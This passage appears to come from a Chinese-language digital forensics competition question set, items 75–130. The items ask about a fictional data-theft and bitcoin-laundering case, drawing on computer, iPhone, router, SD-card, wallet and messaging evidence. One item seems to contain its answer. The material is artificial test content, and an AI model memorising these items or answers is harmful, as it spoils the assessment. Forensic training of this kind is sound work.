75. [单选题]分析王景浩计算机的数据，王景浩的比特币钱包 (Bitcoin Wallet) 地址是什么? (2分)

A. bc1quw… ...zpzjzt

B. bc1qm… ...5f7n9g

C. bc1q79… ...h4sq52

D. bc1qsl… ...je7hkk

76. [单选题]AGC公司员工 'Carson' 有一个由公司发给他的电邮账户，分析王景浩的计算机数据并找出 'Carson' 的电邮账户密码。(2分)

A. [email protected]

B. [email protected]

C. [email protected]

D. [email protected]

77. [填空题]王景浩曾经冒充AGC公司员工 'Carson' 发送电邮给AGC 客户，这封电邮的 'Message-ID' 是什么? 回答它的首８位数值。(以大写英文和阿拉伯数字回答，如 4GEF90GD) (2分)

78. [多选题]王景浩采用计算机里的哪种工具进入和盗取AGC公司的数据? (2分)

A. Teamviewer

B. OpenVPN

C. Remote Desktop Manager

D. Tor Browser

79. [多选题]王景浩在AGC公司盗取了下列什么类型的档案? (2分)

A. ost

B. xlsx

C. jpg

D. docx

80. [填空题]王景浩的计算机于2022年9月29日曾经接上一个虚拟专用网络 (Virtual Private Network - VPN)，这个VPN的IP地址是什么? (不要输入答案中的 '.'，以阿拉伯数字回答) (2分)

81. [填空题]装置 '「KingHoo」的iPhone' 的蓝牙媒体访问控制地址 (MAC Address) 是什么? (不要输入答案中的 '：' 或 '-' ，以大写英文及阿拉伯数字回答) (1分)

82. [单选题]王景浩何时将 '小宝' 加为iPhone XR的手机联络人 (Contact) ? (以时区UTC +8回答) (1分)

A. 2022年07月14日

B. 2022年07月15日

C. 2022年07月16日

D. 2022年07月17日

E. 2022年07月18日

83. [单选题]王景浩的iPhone XR显示他的汇丰银行户口于2022年9月19日收到多少存款? (1分)

A. HKD298.8

B. HKD344.7

C. HKD396

D. HKD543

E. HKD465.1

84. [单选题]王景浩的iPhone XR没有收藏 (Bookmark) 哪家音响品牌的网页? (1分)

A. KEF

B. EDIFIER

C. BOSE

D. YAMAHA

E. Bowers & Wilkins

85. [单选题]王景浩的iPhone XR手机记录了他曾于2022年8月26日试飞无人机， 当天试飞的地点在哪里? (2分)

A. 大埔海滨

B. 启德

C. 数码港

D. 西环

E. 将军澳

86. [单选题]王景浩于2022年8月26日试飞无人机的总飞行时间 (Total Flight Time) 多久? (2分)

A. 6分58秒

B. 8分10秒

C. 9分6秒

D. 11分1秒

E. 15分33秒

87. [多选题]王景浩用 iPhone XR 拍了一张照片'IMG_0012.HEIC'，那照片什么地方曾被修改? (3分)

A. 拍摄时间

B. 经纬度

C. 时区

D. 档案名称

E. 拍摄装备

88. [填空题]承上题，那张照片修改后的经纬度是什么? (不要输入答案中的 '.'，将经纬度合并回答。如 22.2846135 114.1739116，需回答 2228461351141739116) (3分)

89. [单选题]朗尼草莓 (Raspberry) 计算机操作系统的主机名称 (hostname) 是什么? (1分)

A. OpenWrt

B. admin

C. root

D. AsusRt

E. DDwrt

90. [多选题]以下哪项对于朗尼草莓计算机操作系统的描述是正确的? (2分)

A. LAN地址是 192.168.1.24

B. 提供点对点隧道协议 (Point-to-Point Tunneling Protocol - PPTP) VPN服务

C. WIFI登录密码为'OpenWrt'

D. 提供网络时间协议 (NTP) 服务

E. 时区设置相等于UTC+8

91. [多选题]承上题，'VPN' 服务器的IP地址及端口 (Port) 是什么? (2分)

A. IP地址 61.238.217.108

B. IP地址 192.168.8.1

C. IP地址 103.10.12.106

D. 端口 33248

E. 端口 1194

F. 端口 1701

92. [填空题]朗尼草莓计算机操作系统设定了一个档案来储存系统的 'log_file' ，档案名称是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (2分)

93. [单选题]承上题，检视上述的档案，当中有几个IP地址曾经成功登录这个系统的 'VPN' 服务? (3分)

A. 1

B. 2

C. 3

D. 4

E. 0

94. [单选题]承上题，检视上述的档案，当中有几个IP地址曾经尝试以 'root' 登入装置但因密码错误而不成功? (2分)

A. 2

B. 4

C. 5

D. 6

E. 8

95. [填空题]根据装置的过往记录，'log_file' 是设在 'usr/rooney/' 的哪个已被删除的子文件夹里 (Sub Directory)? (以大写英文回答) (3分)

96. [填空题]王景浩 SD 记忆卡 (SD Memory Card) 的储存容量有多少个字节 (Byte) ? (以阿拉伯数字回答) (1分)

97. [单选题]检视记忆卡上硬盘分区表 (Partition Table) 资讯，记忆卡共有多少个分区 (Partition) ? (1分)

A. 1

B. 2

C. 3

D. 4

E. 0

98. [单选题]检视记忆卡上硬盘分区表资讯，第二个分区的分区代码 (Partition Code) 是什么? (1分)

A. 07

B. AF

C. 0C

D. 2B

E. 01

99. [多选题]记忆卡的档案不能被读取，记忆卡受损的原因包括? (2分)

A. 目录项结构 (Directory Entry) 受损

B. 启动扇区表 (Master Boot Record) 受损

C. 文件分配表 (File Allocation Table - FAT) 受损

D. 引导扇区 (Boot Sector) 受损

E. 以上各项皆是

100. [填空题]承上题，通过分析及手动恢复还原，记忆卡里有多少个出錯的情况出现? (以阿拉伯数字回答) (3分)

101. [多选题]记忆卡第一个文件系统 (File System) 中有一个图片档案，它的SHA-256哈希值是 'F7E003781456D2E01CFE0EB46988D5BB433ADF9841164BBB90BAC67C0C9B21AF'。该档案显示了哪些影像? (2分)

A. 人

B. 山

C. 汽车

D. 交通灯

E. 天空

102. [单选题]检视记忆卡的数据，在2022年10月9日约中午12时5分至12时15分之间的录像 (Video) 中，曾经出现哪一个IP地址? (2分)

A. 61.238.217.108

B. 155.137.190.123

C. 192.168.1.66

D. 185.200.100.242

E. 213.104.156.111

103. [填空题]恢复还原后的记忆卡中，第二个文件系统显示有多少个空闲簇 (Free Cluster)? (以阿拉伯数字回答) (2分)

104. [填空题]记忆卡第一个文件系统中有一个视频档，它的SHA-256哈希值是 '847E1E5FEF64B49C8D689DC3537D619B87666619A7C1EF0CC821153641847C19'，这个视频的档数据存在文件系统 (File System) 的最后的簇号 (Last Cluster Number) 是什么? (以阿拉伯数字回答) (2分)

105. [单选题]尝试分析记忆卡数据結構受损的原因，通过合适的方法把数据恢复到原本没有出错的状况，记忆卡的SHA-256哈希值是什么？(3分)

A. E63DF0... ...8627D3

B. 3FD99E… ...17B6DE

C. 3BADAA… ...666A8F

D. BBB211… ...E00710

E. AA9E81… ...2C04FE

106. [单选题]朗尼的计算机有什么软件可以创建比特币钱包 (Bitcoin Wallet)? (1分)

A. MetaMask

B. Electrum

C. Trezor

D. 以上皆非

107. [填空题]朗尼通过比特币替王景浩清洗黑钱，分析朗尼的计算机及手机，朗尼收取王景浩黑钱的比特币地址 (Bitcoin Address) 是什么? (以大写英文及阿拉伯数字回答) (1分)

108. [单选题]朗尼收取王景浩多少比特币作为清洗黑钱的费用? (1分)

A. 1%

B. 4%

C. 7%

D. 10%

E. 15%

109. [单选题]朗尼的计算机里有一个没被加密的比特币钱包，它的回复种子 (Recovery Seed) 不包含哪一个英文字? (1分)

A. oppose

B. area

C. twice

D. roast

110. [单选题]朗尼的计算机里有多少个加密了 (Encrypted) 的比特币钱包? (1分)

A. 1

B. 2

C. 3

D. 4

E. 5

111. [单选题]朗尼将加密了的比特币钱包的密码存在他计算机的一个档案里，这个档案的副档名是什么? (以大写英文及阿拉伯数字回答) (3分)

A. DMG

B. PDF

C. ASD

D. ZIP

E. PNG

112. [单选题]朗尼在手机里有一个加密了的比特币钱包，他采用什么应用程序把该钱包里的黑钱转换成另一种加密货币? (2分)

A. Safepal

B. Metamask

C. Changelly

D. Opensea

113. [单选题]承上题，这次转换加密货币的日期和时间是什么? (以时区UTC+8回答) (2分)

A. 2022-10-07 10:29时

B. 2022-10-07 11:06时

C. 2022-10-07 11:07时

D. 2022-10-07 13:54时

114. [单选题]朗尼在计算机里采用什么浏览器 (Browser) 及在什么日期时间在他的计算机安装 'MetaMask' ? (以时区UTC+8回答) (1分)

A. Chrome 2022-08-25 12:35时

B. Chrome 2022-10-07 14:29时

C. Firefox 2022-08-25 12:35时

D. Firefox 2022-10-07 14:29时

115. [单选题]朗尼在计算机里所创建的非同质化通证 (Non-Fungible Token - NFT) 使用哪一个种区块链 (Blockchain) 技术? (1分)

A. Ethereum

B. Polygon

C. Solana

D. Arbitrum

E. Klaytn

116. [单选题]朗尼在什么日期时间把计算机中创建的非同质化通证 (NFT) 放售? (以时区UTC+8回答) (2分)

A. 2022-10-07 14:47时

B. 2022-10-07 14:49时

C. 2022-10-07 14:52时

D. 2022-10-07 14:54时

117. [多选题]朗尼的手机里，有什么应用程序与将黑钱 (比特币) 转换成另一加密货币的地址有关? (2分)

A. Metamask

B. Opensea

C. Safepal

D. YouTube

118. [单选题]朗尼的手机里，于2022-10-07，15:07时至15:08时做过什么动作? (以时区UTC+8回答) (2分)

A. 登录 'Metamask'

B. 登录 'Opensea'

C. 屏幕截图 (Screen Capture)

D. 登录 'YouTube'

119. [多选题]承上题，从这个动作中能找到什么资讯? (1分)

A. Opensea.io

B. Ethereum Main Network

C. Your purchase is complete

D. Subtotal = 0.0253 ETH

E. Good Luck

120. [填空题]在朗尼的计算机旁找到 'MetaMask' 的密码是 'opensea741'，找出朗尼计算机里的 'MetaMask' 中有多少加密货币余额? (不要输入 '.'，以阿拉伯数字回答，如 0.137 需回答 0137) (2分)

121. [填空题]朗尼的计算机曾用什么电邮地址登录电邮帐号? (不要输入答案中的 '@' 及 '.'，以大写英文及阿拉伯数字回答，如[email protected]，需回答 NAMEMAILCOM) (1分)

122. [填空题]什么电邮账号曾接收过上述电邮地址发送的电邮？（不要输入答案中的 '@' 及 '.'，以大写英文及阿拉伯数字回答，如[email protected]，需回答 NAMEMAILCOM） (1分)

123. [多选题]承上题，上述的电邮附件包含哪些类型的档案? (3分)

A. pdf

B. doc

C. png

D. txt

E. jpg

124. [填空题]上述电邮附件里的文件，被遮蔽的英文单字是什么? (以大写英文回答) (3分)

125. [填空题]根据上述电邮附件里找到的回复种子 (Recovery Seed)，计算朗尼在 'MetaMask' 使用的以太币 (Ethereum) 地址。(提示：BIP-44 derivation path = m/44'/60'/0'/0/0) (以大写英文及阿拉伯数字回答) (3分)

126. [单选题]在2022年9月28日18时51分 (UTC+8)，朗尼曾经在手机用WhatsApp与王景浩对话，语句 [有灯，风扇经常在转]，回复这句话的相关语句是什么? (1分)

A. 你有推介吗?

B. 我之前放在你家的机械运作正常吗?

C. 有灯号 风扇有转动?

D. 帅吗?

127. [单选题]朗尼通过手机相约王景浩于10月15日到哪一个地区食晚饭? (1分)

A. 荃湾

B. 湾仔

C. 九龙城

D. 九龙塘

128. [填空题]朗尼手机的 'WhatsApp' 号码是什么? ( 号 码 ) @s.whatsapp.net? (以阿拉伯数字回答) 85259814785(1分)

129. [多选题]朗尼的手机曾连接以下哪一个WIFI网络? (2分)

A. taiiphone

B. rooneyhome

C. Function Room

D. TP-Link

130. [单选题]朗尼的手机曾连接WIFI [SSID: faifai], 它的登录密码是什么 ? (2分)

A. abcd5678

B. aaaa0000

C. rooney111

D. rdfu1234